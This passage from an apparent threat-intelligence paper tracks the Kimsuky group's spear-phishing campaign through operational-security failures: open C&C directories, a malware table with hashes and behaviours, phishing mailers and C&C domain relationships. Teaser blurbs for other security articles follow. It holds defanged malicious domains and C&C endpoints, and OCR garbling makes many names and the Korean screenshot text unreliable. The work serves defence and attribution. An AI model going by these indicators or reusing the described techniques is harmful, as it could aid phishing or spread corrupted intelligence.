Figure 25: The mailer and attachments used the same C&C server (member-authorize[.Jcom).

The C&C server had directory listings enabled, and there was a file download vulnerability in download.php, the file used
to downloaded the .hwp attachment.

& =2 O @ =2 2% | member-authorize.com/securit

Index of /security/downloads

Figure 26: Index of the /security/downloads directory
+ Parent Directory
o 20190312 2= e Y ZSH2H).hwp
* download.php 20190312_Japan-related daily trends(FN).hwp

on the C&C server.

Name No. Type MD5 Details

1234.eml 0 EML b90ed8fe3160ce49d69d000b1005c0c5  Spear-phishing email
20190312_Japanrelated 1 HWP abafaOcbfbe18afe6dd635d14e7d03d3 Malicious Hangul documents

daily trends(FN).hwp (malicious postscript)

Powershell 2 Script 6d73e394762022f3cc426b0a37c4e694  GET ddlove[.]kr/bbs/data/1

1.wsf 3 Script e3dcfd19a6054f7b436b09e8eadf37a5 (a) Set var (b) Check Extract Util —

WinRAR / ALZip (c) Check
response (d) Save file & extract (e)
or Save file & decode (f) Execute

file
Romanic.fm 4 Encoded 9d453684e78ae95b0833c16ef8df6caf Base64 encoding
PE
Romanic.ft 4 RAR da2eefeb7ff5a13c0d890d4ccc0e35e Extract P/W: 201811
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Freedom.dll 5 PE 05075cb9a05d0cce7263842¢c43f5¢cf8b Export name: GrapHouse Check
Env (32/64) 64bit :
/bbs/data/font/exts.fmt Process
Hollowing (explorer.exe) - [SND]:
register.php?
WORD=com_XXXXXXXX&NOTE=-
[GETY:
/bbs/data/ariaK[T]_XXXXXXXX -
[DEL]: /join.php?file=

ariak _XXXXXXXX 6 Encoded e8d9d604615bd85862dce00bd8121b92 XOR TABLE encoding
PE
OnlyFileList.dll 7 PE cd5bee99bcae12da1d92cd252f30bd86 Export name: GrapHouse

FileUpload(AllList_[MAC
Address] YYMMDD_HHMMSS) to
C&C server

Table 10: Malware.

The attacker has built a mailer in the path of the name of each phishing target.

& - O [ O Fo| 28  member-authorize.com/security/mailer/

Index of /security/mailer

Parent Directory Figure 27: Phishing targets include Daum, KINU and

daum/ DAUM: Major portal website in korea

kinu/ KINU: Korea Institue for National Unification
naver/ NAVER: Major portal website in korea

org/

Naver.

The mailer was found on the C&C server just as in the first OpSec failure case.
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& 5 C O Fo| et | member-authorize.com/security/mailer/kinufaccount_authentication/

Index of [security/mailer/kinu/account_authentication

« Parent Directory
+ mail.php
« mail ok.php

€ 2 C

FUANE |ginos
SELNOY [sumon
SUANE  [RHToE
UKW [ srmom
HE= 48

us

D 7o OF | membe-mliomms comessing b A

& clgngo BE0 TR WEY MEfELCH
WO O el s R W SRS AR WAL A W E WA UE

o0
TR O] RENTOIL AWE MUO| C2HE oY T TEe

ERUE UM PuT e
W Egs

B R BRTTR N dEs SR aLn

L]

B oS w2 e pofiUE Be ISR A1) ghoE SRy e seiEolh aas e
= MEEA Bl

Y UE 2ue a0 Ho| Ao NopY HE(R RN TR

METH) S EREMLAL &R e R I O TEL ! QB0 el wetrrastrriiiuic

Copyright{c]} 2000 KINGR &l rights Reserved.

Figure 28: Mailer found on the C&C server.

Relationships analysis

In the process of tracking the Kimsuky group attack, we analysed the relationships of a large quantity of data, and

investigated C&C servers located in South Korea through an investigation agency. Figure 29 show the associations that

were found between the toolsets and C&C servers classified in our research.

Doma IMailer
ayjmefJecom
member-
authorize[Jcom

ddlove[Jkr =
military[ Jcoks O
Support- E
seourity[lesy.es
primary-helplJesy.es
pid-maill Jpe.hu O
user-protect- 0O
genter]Ipe.hy

nid-protect-
team[ Jpe.hu

Beaconer

&

O OO0/

g

Pisher

[ <]

OO [ | Orm

a

B

80 0|0

a

Malicious

HWP

O

<

OO0 08X

a

Camouflaged

Script Related C&C
HWP I Stealer ’
daum-setting[.lholes
member-authornzel.Jcom
O O :
snu-mail-ac-krl.Jesy.es
wefa2018[]000webhostapp.com
ddlovelJkr gyjme[.Jcom
O
mail-kinu.hol[Jes  webmail-kinu[.]Jhol.es
O member-authorize[Jcom  militarylJcokr
O ddiovelJkr  suppert-seourity[Jesy.es
O military[Jco.kr
nid-maill.]Jpe.hu
O O primary-help(Jesy.es
nid-management-team[.]J890m.com
D nid-protect-team[.Jpe.hu
user-daum-center].Jpe.hu
nid-management-team[.]890m.com
|:| D D user-daum-center].Jpe.hu

user-protect-center].]Jpe.hu
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2eks39402(18%0m.com [

nid-management-
team(]830m.com

naiei-

aldiel[]J16mb.com

vkoxvkweol,196.1t

user-daum-
center|.]pe.hu

sariwonl.]co.kr

Figure 29: Relationships between C&C servers and toolsets.

O

naigi-aldiell]16mb.com  vkoovkweo[]96.1t

nid-protect-team[Ipe.hu
user-daum-center].]Jpe.hu

user-protect-center].]Jpe.hu

daum-account-login[Jesy.es

0eks39402[.]890m.com  vkoevkweo[.]96.0t

naiei-aldiel[.]16mb.com

o0eks39402[.]620m.com

member-daum-regist[.]hol.es
member-view-center].]Jesy.es
nid-management-team[.]&90m.com
nid-protect-teamlpehu  sariwonl.]co.kr
user-manage-centerf.Jhol.es

user-protect-center(.]pe.hu

accounting-microsofft].]epizy.com
csdaum-help[lesy.es
daum-account-login].]esy.es
daum-account-signin[.]pe.hu
daurmn-login-protect[.]Jhol.es
daum-setting[.Jholes  daumloginl.lesy.es
mail-customer-safety-centerf.]hol.es
mail-naver-protect[.Jhol.es
mail.naver].Jcomuf.com
master-daum-help[.Jesy.es
member-view-center[]esy.es
naver-password[.Jesy.es
naver-relogin-security[196.t
naver-security-mail[.J96.it
naverhelp[Jesy.es  naverkorealJesy.es
naverlogin[]Jesy.es  nhfoods].]Jcokr
protect-yahhoo-team|.]000webhostapp.com
security-mail-daum[.]000webhostapp.com
user-daum-center]]pe.hu

web-daum[.Jpe.hu

Some of the results of analysing the relationships between toolsets and C&C servers used by the Kimsuky group in
spear-phishing attacks are as follows.

¢ gyjmc[.Jcom (KR) — member-authorize[.Jcom (HOSTINGER) —

o ddlovke[.]kr (KR) — military[.]Jco.kr (KR) < suppcrt-seourity[.]Jesy.es(HOSTINGER)

Figure 30 shows a graphical representation of the relationships.
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Figure 30: Graphical representation of the Kimsuky relationships.

Through its reuse of resources, we were able to track the attack performed by the Kimsuky group.

Conclusion

Due to the particular circumstances of South Korea, the Kimsuky group continuously conducts malicious acts by abusing
(or camouflaging) documents created in Hangul and phishing for email account credentials in order to hijack accounts.
Similar attacks have continued.

However, in the process of tracking the Kimsuky group, we have obtained various pieces of important information through
cases of OpSec failure on the part of the attackers.

The information obtained in this way can be used to infer to what extent the next attack will proceed, and, if such a new
spear-phishing attack occurs, the appropriate proactive response can be taken by analysing correlations with various
indicators found in previous attacks.

We will continue to strive to prevent the future spread of spear-phishing attacks by the Kimsuky group, and we hope that
this paper will help in responding to threats in many areas including domestic.
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user systems and store it in its C&C panels. In this article, researchers Aditya K Sood and Rohit Chaturvedi present a
360...

Fighting Fire with Fire
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In 1989, Joe Wells encountered his first virus: Jerusalem. He disassembled the virus, and from that moment onward, was
intrigued by the properties of these small pieces of self-replicating code. Joe Wells was an expert on computer viruses,
was partly...

Run your malicious VBA macros anywhere!

Kurt Natvig wanted to understand whether it's possible to recompile VBA macros to another language, which could then
easily be ‘run’ on any gateway, thus revealing a sample’s true nature in a safe manner. In this article he explains how he
recompiled...

Dissecting the design and vulnerabilities in AZORult C&C panels

Aditya K Sood looks at the command-and-control (C&C) design of the AZORult malware, discussing his team's findings
related to the C&C design and some security issues they identified during the research.
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